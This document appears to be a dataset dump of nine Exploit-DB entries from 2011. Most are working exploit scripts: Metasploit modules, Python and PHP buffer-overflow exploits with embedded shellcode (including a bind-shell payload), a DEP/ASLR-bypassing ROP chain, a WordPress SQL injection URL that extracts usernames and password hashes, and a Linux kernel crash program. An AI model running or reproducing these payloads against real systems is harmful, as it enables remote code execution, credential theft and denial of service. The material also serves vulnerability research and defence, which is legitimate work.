QLWD/code_shield huggingface dataset:
标题: ScadaTEC ScadaPhone 5.3.11.1230 - Local Stack Buffer Overflow (Metasploit) EDB-ID: 17833 CVE: 2011-4535 类型: LOCAL 平台: WINDOWS 发布日期: 2011-09-13 漏洞利用脚本: ##
# $Id: scadaphone_zip.rb 13728 2011-09-13 20:10:28Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability in
    version 5.3.11.1230 of scadaTEC's ScadaPhone.

    In order for the command to be executed, an attacker must convince someone to
    load a specially crafted project zip file with ScadaPhone.
    By doing so, an attacker can execute arbitrary code as the victim user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
    ],
   'Version'        => '$Revision: 13728 $',
   'References'     =>
    [
     #[ 'CVE', '' ],
     [ 'OSVDB', '75375' ],
     [ 'URL', 'http://www.scadatec.com/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17817/' ],
    ],
           'Platform'          => [ 'win' ],
           'Payload'           =>
    {
     'Space'    => 700,
     'BadChars' => "\x00\x0a\x0d",
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     # POP ESI; POP EBX; RETN [ScadaPhone.exe]
     [ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
    ],
   'DisclosureDate' => 'Sep 12 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
    OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
   ], self.class)

 end

 def exploit

  eggoptions = 
  {
   :checksum => false,
   :eggtag => 'zipz' 
  }

  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  fname = rand_text_alpha_upper(229)
  fname << hunter
  fname << rand_text_alpha_upper(48-hunter.length)
  fname << Rex::Arch::X86.jmp_short(-50)
  fname << rand_text_alpha_upper(2)
  fname << [target.ret].pack('V')
  fname << rand_text_alpha_upper(100)
  fname << egg
  fname << rand_text_alpha_upper(4096-fname.length)
  fname << [0x7478741e].pack('V')

  zip = Rex::Zip::Archive.new
  xtra = [0xdac0ffee].pack('V')
  comment = [0xbadc0ded].pack('V')
  zip.add_file(fname, xtra, comment)

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(zip.pack)
 end

end URL: https://www.exploit-db.com/exploits/17833
标题: WordPress Plugin Event Registration 5.44 - SQL Injection EDB-ID: 17814 CVE: 2010-4839 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-09 漏洞利用脚本: # Exploit Title: Wordpress Event Registration plugin <= 5.44 SQl Injection Vulnerability
# Google Dork: "?regevent_action=register&event_id"
# Date: 2011-09-09
# Author: serk
# Vendor: http://edgetechweb.com/
# Software Link: https://wordpress.org/extend/plugins/events-registration/
# Version: 5.44


[ exploit ]

domain.tld/events-2/?regevent_action=register&event_id=2%20UNION%20SELECT%201,concat%28user_login,0x3a,user_pass,0x3a,user_email%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20wp_users-- URL: https://www.exploit-db.com/exploits/17814
标题: KnFTP Server - Remote Buffer Overflow EDB-ID: 17819 CVE: 2011-5166 类型: REMOTE 平台: WINDOWS 发布日期: 2011-09-12 漏洞利用脚本: #!/usr/bin/python
# tested on windows xp sp3
# overwrites EIP
# seh is overwritten with larger payloads
# knftpd.exe is the only non safeseh module
import sys,socket

print "\n====================="
print "KnFTP Buffer Overflow"
print "   Written by Blake  "
print "=====================\n"

if len(sys.argv) !=3:
 print "[*] Usage: %s <ip> <port>" % sys.argv[0]
 sys.exit(0)

target = sys.argv[1]
port = int(sys.argv[2])

# 271 bytes of space for shellcode
# 227 bytes windows/exec CMD => calc.exe
shellcode =(
"\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8"
"\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19"
"\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49"
"\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1"
"\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d"
"\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36"
"\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7"
"\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf"
"\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e"
"\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca"
"\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7"
"\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45"
"\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a"
"\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18"
"\x9c\x61")

# 32 byte egghunter
egghunter =(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x54\x30\x30\x57" # egg - W00T
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

egg = "\x54\x30\x30\x57\x54\x30\x30\x57"
buffer = "\x90" * (271 - len(egg + shellcode))
eip = "\x13\x44\x87\x7c"  # 7C874413 JMP ESP - kernel32.dll
nops = "\x90" * 8

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port) 
try:
 s.connect((target,port))
 print "[+] Sending payload"
 s.send("USER blake \r\n")
 s.recv(1024)
 s.send("PASS " + buffer + egg + shellcode + eip + nops + egghunter + "\r\n")
 s.recv(1024)
 s.close()
 print "[+] Payload sent successfully"
 raw_input("[+] Press any key to exit\n")
except:
 print "[+] Could not connect to %s!" % target
 sys.exit(0) URL: https://www.exploit-db.com/exploits/17819
标题: BisonWare BisonFTP Server 3.5 - Remote Buffer Overflow (Metasploit) EDB-ID: 17810 CVE: 1999-1510 类型: REMOTE 平台: WINDOWS 发布日期: 2011-09-09 漏洞利用脚本: ##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
   'Description'    => %q{
      This module exploits a buffer overflow vulnerability
      found in the BisonFTP Server <= v3.5.
   },
   'Author'         => 
    [
     'localh0t',  # Initial PoC
     'veerendragg @ SecPod', # Metasploit Module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1.0 $',
   'References'     =>
    [
     [ 'BID', '49109'],
     [ 'CVE', '1999-1510'],
     [ 'URL', 'http://secpod.org/blog/?p=384'],
     [ 'URL', 'http://www.exploit-db.com/exploits/17649'],
     [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space' => 388,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3 EN',
      {
       'Ret' => 0x0040333f, # call edx from Bisonftp.exe
       'Offset' => 1432
      }
     ],
    ],
   'DisclosureDate' => 'Aug 07 2011',
   'DefaultTarget' => 0))
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")
  print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
  sploit = rand_text_alpha(1028)     ## Random Buffer
  sploit << "\x90" * 16      ## Padding
  sploit << payload.encoded     ## Encoded Payload
  sploit << "\x90" * (388 - payload.encoded.length)  ## More Nops
  sploit << [target.ret].pack('V')    ## Return Address
  sploit << rand_text_alpha(39)     ## MOre Buffer

  print_status("Sending payload...")
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/17810
标题: DVD X Player 5.5 Pro - Local Overflow (SEH + ASLR + DEP Bypass) EDB-ID: 17803 CVE: 2007-3068 类型: LOCAL 平台: WINDOWS 发布日期: 2011-09-08 漏洞利用脚本: <?php

/*
Title: DVD X Player 5.5 Pro (DEP + ASLR Bypass) Exploit
Date: Sep 08, 2011
Author: Rew (rew@leethax.info)
Discovered by: Blake (http://www.exploit-db.com/exploits/17788/)
Link: http://www.dvd-x-player.com/download/DVDXPlayerSetup.exe
Tested on: WinXP Pro SP3 + OptOut DEP
CVE: NA (0day)

DEP bypass via VirtualProtect
ASLR bypass via non-aslr module (EPG.dll)
No SafeSEH so we use the SEH @ 616 bytes

This is my very first DEP + ASLR bypassing exploit.  awesomeface.jpg
If it looks clunky and rediculous, rather than hating, drop me a line
and offer some advice for improvement.  irc.rizon.net#beer

Many thanks to Corelan Team for their wonderful article here...
http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
*/

$padding_1 = str_repeat("A", 336);

// ROP till ya drop!
$rop = "\x08\xd9\x62\x61"; // push esp; sub eax, 20; pop ebx; retn
$rop .= "JUNK";
$rop .= "\x24\x01\x64\x61"; // xchg eax, ebx; retn
$rop .= "\xe2\xe4\x60\x61"; // xchg eax, ecx; add al, [eax]; add esp, 4; mov eax, esi; pop esi; retn 4
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "\x02\x67\x62\x61"; // pop eax; retn
$rop .= "JUNK";
$rop .= "\x08\x11\x01\x10"; // ptr to VirtualProtect
$rop .= "\x37\x13\x63\x61"; // pop edi; pop esi; retn
$rop .= "\x1b\x76\x61\x61"; // retn
$rop .= "\x50\x8b\x62\x61"; // jmp [eax]
$rop .= "\x3f\x85\x60\x61"; // pop ebp; retn
$rop .= "\x66\x56\x60\x61"; // add esp, 8; retn // return of VirtualProtect
$rop .= "\x50\x17\x60\x61"; // pop ebx; retn
$rop .= "\x84\xcd\x6f\x83"; // this will be added to the pointer already in edx to wrap and get 0x00000040
$rop .= "\x9e\x76\x62\x61"; // add edx, ebx; pop ebx; retn 10
$rop .= "\x01\x01\x01\x01"; // dword size // pretty big, but whatever, easier than dealing with nulls
$rop .= "\x31\x08\x62\x61"; // pushad; retn
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "JUNK";
// Couldn't find a good null-free jmp esp, so we do some more ROP to
// get esp in eax and then jmp eax to our shellcode on the stack.
$rop .= "\x08\xd9\x62\x61"; // push esp; sub eax, 20; pop ebx; retn
$rop .= "\x24\x01\x64\x61"; // xchg eax, ebx; retn
$rop .= "\xf0\x8d\x62\x61"; // add eax, 0c; retn // one more little nudge
$rop .= "\x5b\x5e\x62\x61"; // jmp eax;

$padding_2 = str_repeat("\x90", (274 - strlen($rop)));

$jmp = "\xeb\x04"; // over the pivot and into the shellcode

$pivot = "\xae\x74\x60\x61"; // add esp, 408; retn 4

// Win32 XP SP3 WinExec cmd.exe
$shellcode = 
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x2F" .
"\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8" .
"\xc7\x93\xc2\x77\xff\xd0";

$exploit = $padding_1.$rop.$padding_2.$jmp.$pivot.$shellcode;

fwrite(fopen("eggsploit.plf", "w"), $exploit);

?> URL: https://www.exploit-db.com/exploits/17803
标题: BroadWin Webaccess Client - Multiple Vulnerabilities EDB-ID: 17772 CVE: 2012-0242 2012-0241 类型: DOS 平台: WINDOWS 发布日期: 2011-09-02 漏洞利用脚本: Application:  BroadWin WebAccess Client
              http://broadwin.com/Client.htm
Versions:     bwocxrun.ocx <= 1.0.0.10 (aka version 7.0)
Platforms:    Windows
Bugs:         A] format string
              B] arbitrary memory corruption
Exploitation: remote
Date:         02 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"WebAccess is the first fully web browser-based software package for
human-machine interfaces (HMI), and supervisory control and data
acquisition (SCADA)."

The various operations are handled by the bwocxrun.ocx ActiveX
component which is available (but it's not updated) also in Advantech
WebAccess (http://webaccess.advantech.com).


#######################################################################

=======
2) Bugs
=======

----------------
A] format string
----------------

The OcxSpool function is affected by a format string vulnerability
caused by the usage of the Msg string provided by the attacker directly
with vsprintf() without the required format argument.


------------------------------
B] arbitrary memory corruption
------------------------------

WriteTextData and CloseFile allow to corrupt arbitrary zones of the
memory through a fully controllable stream identifier in fclose() and
fwrite().


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/bwocxrun_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17772.zip (bwocxrun_1.zip)


#######################################################################

======
4) Fix
======


No fix. URL: https://www.exploit-db.com/exploits/17772
标题: DVD X Player 5.5 Pro - Overwrite (SEH) EDB-ID: 17788 CVE: 2007-3068 类型: LOCAL 平台: WINDOWS 发布日期: 2011-09-06 漏洞利用脚本: # DVD X Player 5.5 Pro
# Bypass ASLR by using non-aslr enabled module
# SEH Overwrite
# Egghunter is not needed as there is at least 2000 bytes for shellcode


import sys

print "===================================="
print "DVD X Player 5.5 Pro Buffer Overflow"
print "    SEH Overwrite - Bypass ASLR     "
print "         Written by Blake           "
print "===================================="

# size = 325 bytes
# ./msfvenom -p windows/shell/bind_tcp LPORT=8080 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x1a' -f c
shellcode=(
"\xba\x16\x44\x8a\xd1\xdb\xd1\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x4b\x31\x55\x14\x83\xc5\x04\x03\x55\x10\xf4\xb1\x76\x39\x71"
"\x39\x87\xba\xe1\xb3\x62\x8b\x33\xa7\xe7\xbe\x83\xa3\xaa\x32"
"\x68\xe1\x5e\xc0\x1c\x2e\x50\x61\xaa\x08\x5f\x72\x1b\x95\x33"
"\xb0\x3a\x69\x4e\xe5\x9c\x50\x81\xf8\xdd\x95\xfc\xf3\x8f\x4e"
"\x8a\xa6\x3f\xfa\xce\x7a\x3e\x2c\x45\xc2\x38\x49\x9a\xb7\xf2"
"\x50\xcb\x68\x89\x1b\xf3\x03\xd5\xbb\x02\xc7\x06\x87\x4d\x6c"
"\xfc\x73\x4c\xa4\xcd\x7c\x7e\x88\x81\x42\x4e\x05\xd8\x83\x69"
"\xf6\xaf\xff\x89\x8b\xb7\x3b\xf3\x57\x32\xde\x53\x13\xe4\x3a"
"\x65\xf0\x72\xc8\x69\xbd\xf1\x96\x6d\x40\xd6\xac\x8a\xc9\xd9"
"\x62\x1b\x89\xfd\xa6\x47\x49\x9c\xff\x2d\x3c\xa1\xe0\x8a\xe1"
"\x07\x6a\x38\xf5\x31\x31\x55\x3a\x0f\xca\xa5\x54\x18\xb9\x97"
"\xfb\xb2\x55\x94\x74\x1c\xa1\xdb\xae\xd8\x3d\x22\x51\x18\x17"
"\xe1\x05\x48\x0f\xc0\x25\x03\xcf\xed\xf3\x83\x9f\x41\xac\x63"
"\x70\x22\x1c\x0b\x9a\xad\x43\x2b\xa5\x67\xec\x9a\x81\xdb\x7b"
"\xde\x35\xc3\xeb\x57\xd3\x91\x1b\x31\x4b\x0e\xde\x66\x44\xa9"
"\x21\x4d\xf8\x62\xb6\xda\x16\xb4\xb9\xdb\x3c\x96\x16\x74\xd7"
"\x6d\x75\x41\xc6\x71\x50\xe2\x9f\xe6\x2e\x62\xed\x97\x2f\xaf"
"\x87\x57\xba\x4b\x0e\x0f\x52\x51\x77\x67\xfd\xaa\x52\xf3\x34"
"\x3e\x1d\x6c\x39\xae\x9d\x6c\x6f\xa4\x9d\x04\xd7\x9c\xcd\x31"
"\x18\x09\x62\xea\x8d\xb1\xd3\x5e\x05\xd9\xd9\xb9\x61\x46\x21"
"\xec\x73\xbb\xf4\xc9\xf1\xcd\x72\x3a\x3a")

# 32 byte egghunter
egghunter =(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x54\x30\x30\x57" # egg - W00T
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")


# overwrite EIP = 260 bytes
# overwrite SEH = 616 bytes - 0x61602adb pop edi; pop esi; ret [EPG.dll]

egg = "\x54\x30\x30\x57\x54\x30\x30\x57"
buffer = "\x41" * 608
next_seh = "\xeb\x06\x90\x90" # jump forward 6 bytes
seh = "\xdb\x2a\x60\x61" # pop/pop/ret
nops = "\x90" * 20

print "[+] Creating malicious plf"
try:
 file = open("owned.plf","w")
 file.write(buffer + next_seh + seh + nops + egghunter + nops + egg + shellcode)
 file.close()
 print "[+] File created successfully"
 raw_input("[+] Press any key to exit")
except:
 print "[X] Error creating file!"
 sys.exit(0) URL: https://www.exploit-db.com/exploits/17788
标题: Apple QuickTime - PICT PnSize Buffer Overflow (Metasploit) EDB-ID: 17777 CVE: 2011-0257 类型: LOCAL 平台: WINDOWS 发布日期: 2011-09-03 漏洞利用脚本: ##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
    When opening a .mov file containing a specially crafted PnSize value, an attacker
    may be able to execute arbitrary code. 
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 13691 $',
   'References'     =>
    [
     [ 'CVE', '2011-0257' ],
     [ 'BID', '49144' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 8 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
   ], self.class)
 end

 def exploit

  trigger = rand_text_alpha_upper(3324)
  trigger[2302, 8]  = generate_seh_record(target.ret)
  trigger[2310, payload.encoded.size] = payload.encoded

  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
  fd = File.open(path, "rb" )
  sploit = fd.read(fd.stat.size)
  fd.close

  sploit << trigger

  file_create(sploit)
 end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode   Name                       Description                  Data Size (in bytes)

$0007    PnSize                     pen size (point)             4 URL: https://www.exploit-db.com/exploits/17777
标题: Linux Kernel 3.0.0 - 'perf_count_sw_cpu_clock' event Denial of Service EDB-ID: 17769 CVE: 2011-2918 类型: DOS 平台: LINUX 发布日期: 2011-09-01 漏洞利用脚本: //Vince
/* Error with overflows and perf::perf_count_sw_cpu_clock                    */
/* This test will crash Linux 3.0.0                                          */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */
/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu>                              */
#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>

#include <sys/prctl.h>
#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];
static void naive_matrix_multiply(int quiet) {
  double s;
  int i,j,k;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      a[i][j]=(double)i*(double)j;
      b[i][j]=(double)i/(double)(j+5);
    }
  }
  for(j=0;j<MATRIX_SIZE;j++) {
     for(i=0;i<MATRIX_SIZE;i++) {
        s=0;
        for(k=0;k<MATRIX_SIZE;k++) {
    s+=a[i][k]*b[k][j];
 }
        c[i][j] = s;
     }
  }
  s=0.0;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      s+=c[i][j];
    }
  }
  if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);
  return;
}

static int total=0;
void our_handler(int signum,siginfo_t *oh, void *blah) {
  int fd=oh->si_fd;
  ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
  total++;
  ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}
int perf_event_open(struct perf_event_attr *hw_event_uptr,
      pid_t pid, int cpu, int group_fd, unsigned long flags) {
  return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);
}
int main( int argc, char **argv ) {
 int fd;
 void *blargh;
 struct perf_event_attr pe;
 struct sigaction sa;
 memset(&sa, 0, sizeof(struct sigaction));
 sa.sa_sigaction=our_handler;
 sa.sa_flags=SA_SIGINFO;
 if (sigaction(SIGIO,&sa,NULL)<0) {
   fprintf(stderr,"Error setting up signal handler\n");
   exit(1);
 }
        memset(&pe,0,sizeof(struct perf_event_attr)); 
 pe.type=PERF_TYPE_SOFTWARE;
 pe.size=sizeof(struct perf_event_attr);
        pe.config=PERF_COUNT_SW_CPU_CLOCK;
 pe.sample_period=100000;
 pe.sample_type=PERF_SAMPLE_IP;
 pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
 pe.disabled=1;
 pe.pinned=1;
 pe.exclude_kernel=1;
 pe.exclude_hv=1;
 pe.wakeup_events=1;
 fd=perf_event_open(&pe,0,-1,-1,0);
 if (fd<0) {
    printf("Error opening\n");
 }
 blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
 fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
 fcntl(fd,F_SETSIG,SIGIO);
 fcntl(fd,F_SETOWN,getpid());
 ioctl(fd,PERF_EVENT_IOC_RESET,0);
 ioctl(fd,PERF_EVENT_IOC_ENABLE,0);
 naive_matrix_multiply(0);
 ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
 munmap(blargh,(1+2)*4096);
 close(fd);
 printf("Total overflows: %d\n",total);
 return 0;
} URL: https://www.exploit-db.com/exploits/17769